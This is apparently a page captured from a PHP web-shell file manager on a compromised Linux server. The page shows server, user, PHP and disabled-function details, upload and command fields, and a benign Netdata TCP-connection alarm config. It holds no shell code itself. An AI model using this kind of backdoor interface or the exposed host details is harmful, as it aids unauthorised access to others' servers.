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Server : Apache/2.4.41 (Ubuntu)
System : Linux cls 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : iscuser ( 1001)
PHP Version : 7.4.12
Disable Function : shell_exec,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /usr/lib/netdata/conf.d/health.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :
Current File : //usr/lib/netdata/conf.d/health.d/tcp_conn.conf
#
# ${tcp_max_connections} may be nan or -1 if the system
# supports dynamic threshold for TCP connections.
# In this case, the alarm will always be zero.
#

   alarm: tcp_connections
      on: ipv4.tcpsock
      os: linux
   hosts: *
    calc: (${tcp_max_connections} > 0) ? ( ${connections} * 100 / ${tcp_max_connections} ) : 0
   units: %
   every: 10s
    warn: $this > (($status >= $WARNING ) ? ( 60 ) : ( 80 ))
    crit: $this > (($status >= $CRITICAL) ? ( 80 ) : ( 90 ))
   delay: up 0 down 5m multiplier 1.5 max 1h
    info: the percentage of IPv4 TCP connections over the max allowed
      to: sysadmin

Samx